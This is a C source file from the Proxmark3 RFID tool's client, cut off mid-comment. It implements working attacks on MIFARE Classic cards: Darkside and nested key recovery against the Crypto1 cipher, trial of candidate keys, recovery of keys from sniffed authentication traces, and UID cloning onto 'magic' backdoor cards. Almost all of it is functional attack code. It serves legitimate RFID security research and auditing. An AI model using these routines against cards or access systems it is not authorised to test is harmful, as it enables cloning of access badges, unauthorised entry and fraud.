[proxmark3-svn] / client / mifarehost.c

// Merlok, 2011, 2012\r
// people from mifare@nethemba.com, 2010\r
//\r
// This code is licensed to you under the terms of the GNU GPL, version 2 or,\r
// at your option, any later version. See the LICENSE.txt file for the text of\r
// the license.\r
//-----------------------------------------------------------------------------\r
// mifare commands\r
//-----------------------------------------------------------------------------\r
\r
#include "mifarehost.h"\r
\r
#include <stdio.h>\r
#include <stdlib.h>\r
#include <string.h>\r
#include <pthread.h>\r
\r
#include "crapto1/crapto1.h"\r
#include "proxmark3.h"\r
#include "usb_cmd.h"\r
#include "cmdmain.h"\r
#include "ui.h"\r
#include "util.h"\r
#include "iso14443crc.h"\r
\r
#include "mifare.h"\r
\r
// mifare tracer flags used in mfTraceDecode()\r
#define TRACE_IDLE		 				0x00\r
#define TRACE_AUTH1		 				0x01\r
#define TRACE_AUTH2		 				0x02\r
#define TRACE_AUTH_OK	 				0x03\r
#define TRACE_READ_DATA 				0x04\r
#define TRACE_WRITE_OK					0x05\r
#define TRACE_WRITE_DATA				0x06\r
#define TRACE_ERROR		 				0xFF\r
\r
\r
static int compare_uint64(const void *a, const void *b) {\r
	// didn't work: (the result is truncated to 32 bits)\r
	//return (*(int64_t*)b - *(int64_t*)a);\r
\r
	// better:\r
	if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
	else if (*(uint64_t*)b < *(uint64_t*)a) return 1;\r
	else return -1;\r
}\r
\r
\r
// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
{\r
	if (list1 == NULL || list2 == NULL) {\r
		return 0;\r
	}\r
	uint64_t *p1, *p2, *p3;\r
	p1 = p3 = list1;\r
	p2 = list2;\r
\r
	while ( *p1 != -1 && *p2 != -1 ) {\r
		if (compare_uint64(p1, p2) == 0) {\r
			*p3++ = *p1++;\r
			p2++;\r
		}\r
		else {\r
			while (compare_uint64(p1, p2) < 0) ++p1;\r
			while (compare_uint64(p1, p2) > 0) ++p2;\r
		}\r
	}\r
	*p3 = -1;\r
	return p3 - list1;\r
}\r
\r
\r
// Darkside attack (hf mf mifare)\r
static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
	struct Crypto1State *states;\r
	uint32_t i, pos, rr; //nr_diff;\r
	uint8_t bt, ks3x[8], par[8][8];\r
	uint64_t key_recovered;\r
	static uint64_t *keylist;\r
	rr = 0;\r
\r
	// Reset the last three significant bits of the reader nonce\r
	nr &= 0xffffff1f;\r
\r
	for (pos=0; pos<8; pos++) {\r
		ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
		bt = (par_info >> (pos*8)) & 0xff;\r
		for (i=0; i<8; i++)	{\r
				par[7-pos][i] = (bt >> i) & 0x01;\r
		}\r
	}\r
\r
	states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));\r
\r
	if (states == NULL) {\r
		*keys = NULL;\r
		return 0;\r
	}\r
\r
	keylist = (uint64_t*)states;\r
\r
	for (i = 0; keylist[i]; i++) {\r
		lfsr_rollback_word(states+i, uid^nt, 0);\r
		crypto1_get_lfsr(states+i, &key_recovered);\r
		keylist[i] = key_recovered;\r
	}\r
	keylist[i] = -1;\r
\r
	*keys = keylist;\r
	return i;\r
}\r
\r
\r
int mfDarkside(uint64_t *key)\r
{\r
	uint32_t uid = 0;\r
	uint32_t nt = 0, nr = 0;\r
	uint64_t par_list = 0, ks_list = 0;\r
	uint64_t *keylist = NULL, *last_keylist = NULL;\r
	uint32_t keycount = 0;\r
	int16_t isOK = 0;\r
\r
	UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
\r
	// message\r
	printf("-------------------------------------------------------------------------\n");\r
	printf("Executing command. Expected execution time: 25sec on average\n");\r
	printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
	printf("-------------------------------------------------------------------------\n");\r
\r
\r
	while (true) {\r
		clearCommandBuffer();\r
		SendCommand(&c);\r
\r
		//flush queue\r
		while (ukbhit()) {\r
			int c = getchar(); (void) c;\r
		}\r
\r
		// wait cycle\r
		while (true) {\r
			printf(".");\r
			fflush(stdout);\r
			if (ukbhit()) {\r
				return -5;\r
				break;\r
			}\r
\r
			UsbCommand resp;\r
			if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
				isOK  = resp.arg[0];\r
				if (isOK < 0) {\r
					return isOK;\r
				}\r
				uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
				nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
				par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
				ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
				nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
				break;\r
			}\r
		}\r
\r
		if (par_list == 0 && c.arg[0] == true) {\r
			PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
			PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");\r
		}\r
		c.arg[0] = false;\r
\r
		keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);\r
\r
		if (keycount == 0) {\r
			PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);\r
			PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
			continue;\r
		}\r
\r
		if (par_list == 0) {\r
			qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
			keycount = intersection(last_keylist, keylist);\r
			if (keycount == 0) {\r
				free(last_keylist);\r
				last_keylist = keylist;\r
				continue;\r
			}\r
		}\r
\r
		if (keycount > 1) {\r
			PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
		} else {\r
			PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
		}\r
\r
		*key = -1;\r
		uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
		int max_keys = USB_CMD_DATA_SIZE/6;\r
		for (int i = 0; i < keycount; i += max_keys) {\r
			int size = keycount - i > max_keys ? max_keys : keycount - i;\r
			for (int j = 0; j < size; j++) {\r
				if (par_list == 0) {\r
					num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);\r
				} else {\r
					num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);\r
				}\r
			}\r
			if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
				break;\r
			}\r
		}\r
\r
		if (*key != -1) {\r
			free(last_keylist);\r
			free(keylist);\r
			break;\r
		} else {\r
			PrintAndLog("Authentication failed. Trying again...");\r
			free(last_keylist);\r
			last_keylist = keylist;\r
		}\r
	}\r
\r
	return 0;\r
}\r
\r
\r
int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
\r
	*key = -1;\r
\r
	UsbCommand c = {CMD_MIFARE_CHKKEYS, {((blockNo & 0xff) | ((keyType & 0xff) << 8)), clear_trace, keycnt}}; \r
	memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
	SendCommand(&c);\r
\r
	UsbCommand resp;\r
	if (!WaitForResponseTimeout(CMD_ACK,&resp,3000)) return 1; \r
	if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
	*key = bytes_to_num(resp.d.asBytes, 6);\r
	return 0;\r
}\r
\r
int mfCheckKeysSec(uint8_t sectorCnt, uint8_t keyType, uint8_t timeout14a, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, sector_t * e_sector){\r
\r
	uint8_t keyPtr = 0;\r
\r
	if (e_sector == NULL)\r
		return -1;\r
\r
	UsbCommand c = {CMD_MIFARE_CHKKEYS, {((sectorCnt & 0xff) | ((keyType & 0xff) << 8)), (clear_trace | 0x02)|((timeout14a & 0xff) << 8), keycnt}}; \r
	memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
	SendCommand(&c);\r
\r
	UsbCommand resp;\r
	if (!WaitForResponseTimeoutW(CMD_ACK, &resp, MAX(3000, 1000 + 13 * sectorCnt * keycnt * (keyType == 2 ? 2 : 1)), false)) return 1; // timeout: 13 ms / fail auth\r
	if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
	\r
	bool foundAKey = false;\r
	for(int sec = 0; sec < sectorCnt; sec++){\r
		for(int keyAB = 0; keyAB < 2; keyAB++){\r
			keyPtr = *(resp.d.asBytes + keyAB * 40 + sec);\r
			if (keyPtr){\r
				e_sector[sec].foundKey[keyAB] = true;\r
				e_sector[sec].Key[keyAB] = bytes_to_num(keyBlock + (keyPtr - 1) * 6, 6);\r
				foundAKey = true;\r
			}\r
		}\r
	}\r
	return foundAKey ? 0 : 3;\r
}\r
\r
// Compare 16 Bits out of cryptostate\r
int Compare16Bits(const void * a, const void * b) {\r
	if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;\r
	else if ((*(uint64_t*)b & 0x00ff000000ff0000) > (*(uint64_t*)a & 0x00ff000000ff0000)) return 1;\r
	else return -1;\r
}\r
\r
typedef\r
	struct {\r
		union {\r
			struct Crypto1State *slhead;\r
			uint64_t *keyhead;\r
		} head;\r
		union {\r
			struct Crypto1State *sltail;\r
			uint64_t *keytail;\r
		} tail;\r
		uint32_t len;\r
		uint32_t uid;\r
		uint32_t blockNo;\r
		uint32_t keyType;\r
		uint32_t nt;\r
		uint32_t ks1;\r
	} StateList_t;\r
\r
\r
// wrapper function for multi-threaded lfsr_recovery32\r
void* nested_worker_thread(void *arg)\r
{\r
	struct Crypto1State *p1;\r
	StateList_t *statelist = arg;\r
\r
	statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid);\r
	for (p1 = statelist->head.slhead; *(uint64_t *)p1 != 0; p1++);\r
	statelist->len = p1 - statelist->head.slhead;\r
	statelist->tail.sltail = --p1;\r
	qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);\r
\r
	return statelist->head.slhead;\r
}\r
\r
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate)\r
{\r
	uint16_t i;\r
	uint32_t uid;\r
	UsbCommand resp;\r
\r
	StateList_t statelists[2];\r
	struct Crypto1State *p1, *p2, *p3, *p4;\r
\r
	// flush queue\r
	WaitForResponseTimeout(CMD_ACK, NULL, 100);\r
\r
	UsbCommand c = {CMD_MIFARE_NESTED, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, calibrate}};\r
	memcpy(c.d.asBytes, key, 6);\r
	SendCommand(&c);\r
\r
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {\r
		return -1;\r
	}\r
\r
	if (resp.arg[0]) {\r
		return resp.arg[0];  // error during nested\r
	}\r
\r
	memcpy(&uid, resp.d.asBytes, 4);\r
	PrintAndLog("uid:%08x trgbl=%d trgkey=%x", uid, (uint16_t)resp.arg[2] & 0xff, (uint16_t)resp.arg[2] >> 8);\r
\r
	for (i = 0; i < 2; i++) {\r
		statelists[i].blockNo = resp.arg[2] & 0xff;\r
		statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;\r
		statelists[i].uid = uid;\r
		memcpy(&statelists[i].nt,  (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);\r
		memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);\r
	}\r
\r
	// calc keys\r
\r
	pthread_t thread_id[2];\r
\r
	// create and run worker threads\r
	for (i = 0; i < 2; i++) {\r
		pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);\r
	}\r
\r
	// wait for threads to terminate:\r
	for (i = 0; i < 2; i++) {\r
		pthread_join(thread_id[i], (void*)&statelists[i].head.slhead);\r
	}\r
\r
\r
	// the first 16 Bits of the cryptostate already contain part of our key.\r
	// Create the intersection of the two lists based on these 16 Bits and\r
	// roll back the cryptostate\r
	p1 = p3 = statelists[0].head.slhead;\r
	p2 = p4 = statelists[1].head.slhead;\r
	while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {\r
		if (Compare16Bits(p1, p2) == 0) {\r
			struct Crypto1State savestate, *savep = &savestate;\r
			savestate = *p1;\r
			while(Compare16Bits(p1, savep) == 0 && p1 <= statelists[0].tail.sltail) {\r
				*p3 = *p1;\r
				lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0);\r
				p3++;\r
				p1++;\r
			}\r
			savestate = *p2;\r
			while(Compare16Bits(p2, savep) == 0 && p2 <= statelists[1].tail.sltail) {\r
				*p4 = *p2;\r
				lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0);\r
				p4++;\r
				p2++;\r
			}\r
		}\r
		else {\r
			while (Compare16Bits(p1, p2) == -1) p1++;\r
			while (Compare16Bits(p1, p2) == 1) p2++;\r
		}\r
	}\r
	*(uint64_t*)p3 = -1;\r
	*(uint64_t*)p4 = -1;\r
	statelists[0].len = p3 - statelists[0].head.slhead;\r
	statelists[1].len = p4 - statelists[1].head.slhead;\r
	statelists[0].tail.sltail=--p3;\r
	statelists[1].tail.sltail=--p4;\r
\r
	// the statelists now contain possible keys. The key we are searching for must be in the\r
	// intersection of both lists. Create the intersection:\r
	qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);\r
	qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);\r
	statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);\r
\r
	memset(resultKey, 0, 6);\r
	// The list may still contain several key candidates. Test each of them with mfCheckKeys\r
	for (i = 0; i < statelists[0].len; i++) {\r
		uint8_t keyBlock[6];\r
		uint64_t key64;\r
		crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);\r
		num_to_bytes(key64, 6, keyBlock);\r
		key64 = 0;\r
		if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, 1, keyBlock, &key64)) {\r
			num_to_bytes(key64, 6, resultKey);\r
			break;\r
		}\r
	}\r
\r
	free(statelists[0].head.slhead);\r
	free(statelists[1].head.slhead);\r
\r
	return 0;\r
}\r
\r
// EMULATOR\r
\r
int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) {\r
	UsbCommand c = {CMD_MIFARE_EML_MEMGET, {blockNum, blocksCount, 0}};\r
 	SendCommand(&c);\r
\r
  UsbCommand resp;\r
	if (!WaitForResponseTimeout(CMD_ACK,&resp,1500)) return 1;\r
	memcpy(data, resp.d.asBytes, blocksCount * 16);\r
	return 0;\r
}\r
\r
int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) {\r
	UsbCommand c = {CMD_MIFARE_EML_MEMSET, {blockNum, blocksCount, 0}};\r
	memcpy(c.d.asBytes, data, blocksCount * 16);\r
	SendCommand(&c);\r
	return 0;\r
}\r
\r
// "MAGIC" CARD\r
\r
int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) {\r
	uint8_t isOK = 0;\r
\r
	UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, 0, blockNo}};\r
	SendCommand(&c);\r
\r
	UsbCommand resp;\r
	if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {\r
		isOK  = resp.arg[0] & 0xff;\r
		memcpy(data, resp.d.asBytes, 16);\r
		if (!isOK) return 2;\r
	} else {\r
		PrintAndLog("Command execute timeout");\r
		return 1;\r
	}\r
	return 0;\r
}\r
\r
int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, bool wantWipe, uint8_t params) {\r
\r
	uint8_t isOK = 0;\r
	UsbCommand c = {CMD_MIFARE_CSETBLOCK, {wantWipe, params & (0xFE | (uid == NULL ? 0:1)), blockNo}};\r
	memcpy(c.d.asBytes, data, 16);\r
	SendCommand(&c);\r
\r
	UsbCommand resp;\r
	if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {\r
		isOK  = resp.arg[0] & 0xff;\r
		if (uid != NULL)\r
			memcpy(uid, resp.d.asBytes, 4);\r
		if (!isOK)\r
			return 2;\r
	} else {\r
		PrintAndLog("Command execute timeout");\r
		return 1;\r
	}\r
\r
	return 0;\r
}\r
\r
int mfCWipe(uint32_t numSectors, bool gen1b, bool wantWipe, bool wantFill) {\r
	uint8_t isOK = 0;\r
	uint8_t cmdParams = wantWipe + wantFill * 0x02 + gen1b * 0x04;\r
	UsbCommand c = {CMD_MIFARE_CWIPE, {numSectors, cmdParams, 0}};\r
	SendCommand(&c);\r
\r
	UsbCommand resp;\r
	WaitForResponse(CMD_ACK,&resp);\r
	isOK  = resp.arg[0] & 0xff;\r
	\r
	return isOK;\r
}\r
\r
int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID) {\r
	uint8_t oldblock0[16] = {0x00};\r
	uint8_t block0[16] = {0x00};\r
	int gen = 0, res;\r
\r
	gen = mfCIdentify();\r
\r
	/* generation 1a magic card by default */\r
	uint8_t cmdParams = CSETBLOCK_SINGLE_OPER;\r
	if (gen == 2) {\r
		/* generation 1b magic card */\r
		cmdParams = CSETBLOCK_SINGLE_OPER | CSETBLOCK_MAGIC_1B;\r
	}\r
	\r
	res = mfCGetBlock(0, oldblock0, cmdParams);\r
\r
	if (res == 0) {\r
		memcpy(block0, oldblock0, 16);\r
		PrintAndLog("old block 0:  %s", sprint_hex(block0,16));\r
	} else {\r
		PrintAndLog("Couldn't get old data. Will write over the last bytes of Block 0.");\r
	}\r
\r
	// fill in the new values\r
	// UID\r
	memcpy(block0, uid, 4);\r
	// Mifare UID BCC\r
	block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3];\r
	// mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)\r
	if (sak != NULL)\r
		block0[5] = sak[0];\r
	if (atqa != NULL) {\r
		block0[6] = atqa[1];\r
		block0[7] = atqa[0];\r
	}\r
	PrintAndLog("new block 0:  %s", sprint_hex(block0, 16));\r
\r
	res = mfCSetBlock(0, block0, oldUID, false, cmdParams);\r
	if (res) {\r
		PrintAndLog("Can't set block 0. Error: %d", res);\r
		return res;\r
	}\r
	\r
	return 0;\r
}\r
\r
int mfCIdentify() {\r
	UsbCommand c = {CMD_MIFARE_CIDENT, {0, 0, 0}};\r
	SendCommand(&c);\r
	UsbCommand resp;\r
	WaitForResponse(CMD_ACK,&resp);\r
\r
	uint8_t isGeneration = resp.arg[0] & 0xff;\r
	switch( isGeneration ){\r
		case 1: PrintAndLog("Chinese magic backdoor commands (GEN 1a) detected"); break;\r
		case 2: PrintAndLog("Chinese magic backdoor command (GEN 1b) detected"); break;\r
		default: PrintAndLog("No chinese magic backdoor command detected"); break;\r
	}\r
\r
	return (int) isGeneration;\r
}\r
\r
\r
// SNIFFER\r
\r
// constants\r
static uint8_t trailerAccessBytes[4] = {0x08, 0x77, 0x8F, 0x00};\r
\r
// variables\r
char logHexFileName[FILE_PATH_SIZE] = {0x00};\r
static uint8_t traceCard[4096] = {0x00};\r
static char traceFileName[FILE_PATH_SIZE] = {0x00};\r
static int traceState = TRACE_IDLE;\r
static uint8_t traceCurBlock = 0;\r
static uint8_t traceCurKey = 0;\r
\r
struct Crypto1State *traceCrypto1 = NULL;\r
\r
struct Crypto1State *revstate;\r
uint64_t lfsr;\r
uint32_t ks2;\r
uint32_t ks3;\r
\r
uint32_t uid;     // serial number\r
uint32_t nt;      // tag challenge\r
uint32_t nr_enc;  // encrypted reader challenge\r
uint32_t ar_enc;  // encrypted reader response\r
uint32_t at_enc;  // encrypted tag response\r
\r
int isTraceCardEmpty(void) {\r
	return ((traceCard[0] == 0) && (traceCard[1] == 0) && (traceCard[2] == 0) && (traceCard[3] == 0));\r
}\r
\r
int isBlockEmpty(int blockN) {\r
	for (int i = 0; i < 16; i++)\r
		if (traceCard[blockN * 16 + i] != 0) return 0;\r
\r
	return 1;\r
}\r
\r
int isBlockTrailer(int blockN) {\r
 return ((blockN & 0x03) == 0x03);\r
}\r
\r
int saveTraceCard(void) {\r
	FILE * f;\r
\r
	if ((!strlen(traceFileName)) || (isTraceCardEmpty())) return 0;\r
\r
	f = fopen(traceFileName, "w+");\r
	if ( !f ) return 1;\r
\r
	for (int i = 0; i < 64; i++) {  // blocks\r
		for (int j = 0; j < 16; j++)  // bytes\r
			fprintf(f, "%02x", *(traceCard + i * 16 + j));\r
		if (i < 63)\r
			fprintf(f,"\n");\r
	}\r
	fclose(f);\r
	return 0;\r
}\r
\r
int loadTraceCard(uint8_t *tuid) {\r
	FILE * f;\r
	char buf[64] = {0x00};\r
	uint8_t buf8[64] = {0x00};\r
	int i, blockNum;\r
\r
	if (!isTraceCardEmpty())\r
		saveTraceCard();\r
\r
	memset(traceCard, 0x00, 4096);\r
	memcpy(traceCard, tuid + 3, 4);\r
\r
	FillFileNameByUID(traceFileName, tuid, ".eml", 7);\r
\r
	f = fopen(traceFileName, "r");\r
	if (!f) return 1;\r
\r
	blockNum = 0;\r
\r
	while(!feof(f)){\r
\r
		memset(buf, 0, sizeof(buf));\r
		if (fgets(buf, sizeof(buf), f) == NULL) {\r
			PrintAndLog("File reading error.");\r
			fclose(f);\r
			return 2;\r
    	}\r
\r
		if (strlen(buf) < 32){\r
			if (feof(f)) break;\r
			PrintAndLog("File content error. Block data must include 32 HEX symbols");\r
			fclose(f);\r
			return 2;\r
		}\r
		for (i = 0; i < 32; i += 2)\r
			sscanf(&buf[i], "%02x", (unsigned int *)&buf8[i / 2]);\r
\r
		memcpy(traceCard + blockNum * 16, buf8, 16);\r
\r
		blockNum++;\r
	}\r
	fclose(f);\r
\r
	return 0;\r
}\r
\r
int mfTraceInit(uint8_t *tuid, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile) {\r
\r
	if (traceCrypto1)\r
		crypto1_destroy(traceCrypto1);\r
\r
	traceCrypto1 = NULL;\r
\r
	if (wantSaveToEmlFile)\r
		loadTraceCard(tuid);\r
\r
	traceCard[4] = traceCard[0] ^ traceCard[1] ^ traceCard[2] ^ traceCard[3];\r
	traceCard[5] = sak;\r
	memcpy(&traceCard[6], atqa, 2);\r
	traceCurBlock = 0;\r
	uid = bytes_to_num(tuid + 3, 4);\r
\r
	traceState = TRACE_IDLE;\r
\r
	return 0;\r
}\r
\r
void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted){\r
	uint8_t	bt = 0;\r
	int i;\r
\r
	if (len != 1) {\r
		for (i = 0; i < len; i++)\r
			data[i] = crypto1_byte(pcs, 0x00, isEncrypted) ^ data[i];\r
	} else {\r
		bt = 0;\r
		for (i = 0; i < 4; i++)\r
			bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], i)) << i;\r
\r
		data[0] = bt;\r
	}\r
	return;\r
}\r
\r
\r
int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {\r
	uint8_t data[64];\r
\r
	if (traceState == TRACE_ERROR) return 1;\r
	if (len > 64) {\r
		traceState = TRACE_ERROR;\r
		return 1;\r
	}\r
\r
	memcpy(data, data_src, len);\r
	if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {\r
		mf_crypto1_decrypt(traceCrypto1, data, len, 0);\r
		PrintAndLog("dec> %s", sprint_hex(data, len));\r
		AddLogHex(logHexFileName, "dec> ", data, len);\r
	}\r
\r
	switch (traceState) {\r
	case TRACE_IDLE:\r
		// check packet crc16!\r
		if ((len >= 4) && (!CheckCrc14443(CRC_14443_A, data, len))) {\r
			PrintAndLog("dec> CRC ERROR!!!");\r
			AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!");\r
			traceState = TRACE_ERROR;  // do not decrypt the next commands\r
			return 1;\r
		}\r
\r
		// AUTHENTICATION\r
		if ((len ==4) && ((data[0] == 0x60) || (data[0] == 0x61))) {\r
			traceState = TRACE_AUTH1;\r
			traceCurBlock = data[1];\r
			traceCurKey = data[0] == 60 ? 1:0;\r
			return 0;\r
		}\r
\r
		// READ\r
		if ((len ==4) && ((data[0] == 0x30))) {\r
			traceState = TRACE_READ_DATA;\r
			traceCurBlock = data[1];\r
			return 0;\r
		}\r
\r
		// WRITE\r
		if ((len ==4) && ((data[0] == 0xA0))) {\r
			traceState = TRACE_WRITE_OK;\r
			traceCurBlock = data[1];\r
			return 0;\r
		}\r
\r
		// HALT\r
		if ((len ==4) && ((data[0] == 0x50) && (data[1] == 0x00))) {\r
			traceState = TRACE_ERROR;  // do not decrypt the next commands\r
			return 0;\r
		}\r
\r
		return 0;\r
	break;\r
\r
	case TRACE_READ_DATA:\r
		if (len == 18) {\r
			traceState = TRACE_IDLE;\r
\r
			if (isBlockTrailer(traceCurBlock)) {\r
				memcpy(traceCard + traceCurBlock * 16 + 6, data + 6, 4);\r
			} else {\r
				memcpy(traceCard + traceCurBlock * 16, data, 16);\r
			}\r
			if (wantSaveToEmlFile) saveTraceCard();\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	case TRACE_WRITE_OK:\r
		if ((len == 1) && (data[0] == 0x0a)) {\r
			traceState = TRACE_WRITE_DATA;\r
\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	case TRACE_WRITE_DATA:\r
		if (len == 18) {\r
			traceState = TRACE_IDLE;\r
\r
			memcpy(traceCard + traceCurBlock * 16, data, 16);\r
			if (wantSaveToEmlFile) saveTraceCard();\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	case TRACE_AUTH1:\r
		if (len == 4) {\r
			traceState = TRACE_AUTH2;\r
			nt = bytes_to_num(data, 4);\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	case TRACE_AUTH2:\r
		if (len == 8) {\r
			traceState = TRACE_AUTH_OK;\r
\r
			nr_enc = bytes_to_num(data, 4);\r
			ar_enc = bytes_to_num(data + 4, 4);\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	case TRACE_AUTH_OK:\r
		if (len ==4) {\r
			traceState = TRACE_IDLE;\r
\r
			if (!traceCrypto1) {\r
				at_enc = bytes_to_num(data, 4);\r
\r
				//  decode key here)\r
				ks2 = ar_enc ^ prng_successor(nt, 64);\r
				ks3 = at_enc ^ prng_successor(nt, 96);\r
				revstate = lfsr_recovery64(ks2, ks3);\r
				lfsr_rollback_word(revstate, 0, 0);\r
				lfsr_rollback_word(revstate, 0, 0);\r
				lfsr_rollback_word(revstate, nr_enc, 1);\r
				lfsr_rollback_word(revstate, uid ^ nt, 0);\r
\r
				crypto1_get_lfsr(revstate, &lfsr);\r
				printf("key> %x%x\n", (unsigned int)((lfsr & 0xFFFFFFFF00000000) >> 32), (unsigned int)(lfsr & 0xFFFFFFFF));\r
				AddLogUint64(logHexFileName, "key> ", lfsr);\r
			} else {\r
				printf("key> nested not implemented!\n");\r
				at_enc = bytes_to_num(data, 4);\r
				\r
				crypto1_destroy(traceCrypto1);\r
\r
				// not implemented\r
				traceState = TRACE_ERROR;\r
			}\r
\r
			int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;\r
			if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);\r
\r
			if (traceCurKey) {\r
				num_to_bytes(lfsr, 6, traceCard + blockShift + 10);\r
			} else {\r
				num_to_bytes(lfsr, 6, traceCard + blockShift);\r
			}\r
			if (wantSaveToEmlFile) saveTraceCard();\r
\r
			if (traceCrypto1) {\r
				crypto1_destroy(traceCrypto1);\r
			}\r
\r
			// set cryptosystem state\r
			traceCrypto1 = lfsr_recovery64(ks2, ks3);\r
			return 0;\r
		} else {\r
			traceState = TRACE_ERROR;\r
			return 1;\r
		}\r
	break;\r
\r
	default:\r
		traceState = TRACE_ERROR;\r
		return 1;\r
	}\r
\r
	return 0;\r
}\r
\r
// DECODING\r
\r
int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len){\r
	/*\r
	uint32_t nt;      // tag challenge\r
	uint32_t ar_enc;  // encrypted reader response\r
	uint32_t at_enc;  // encrypted tag response\r
	*/\r
	if (traceCrypto1) {\r
		crypto1_destroy(traceCrypto1);\r
	}\r
	ks2 = ar_enc ^ prng_successor(nt, 64);\r
	ks3 = at_enc ^ prng_successor(nt, 96);\r
	traceCrypto1 = lfsr_recovery64(ks2, ks3);\r
\r
	mf_crypto1_decrypt(traceCrypto1, data, len, 0);\r
\r
	PrintAndLog("Decrypted data: [%s]", sprint_hex(data,len) );\r
	crypto1_destroy(traceCrypto1);\r
	return 0;\r
}\r
\r
/** validate_prng_nonce\r
 * Determine if nonce is deterministic. ie: Suspectable to Darkside attack.\r
 * returns\r
 *   true = weak prng\r
 *   false = hardend prng\r
 */\r
bool validate_prng_nonce(uint32_t nonce) {\r
	uint16_t *dist = 0;\r
	uint16_t x, i;\r
\r
	dist = malloc(2 << 16);\r
	if(!dist)\r
		return -1;\r
\r
	// init prng table:\r
	for (x = i = 1; i; ++i) {\r
		dist[(x & 0xff) << 8 | x >> 8] = i;\r
		x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
	}\r
	\r
	uint32_t res = (65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535;\r
	\r
	free(dist);	\r
	return (res == 16);\r
}\r
\r
/* Detect Tag Prng, \r
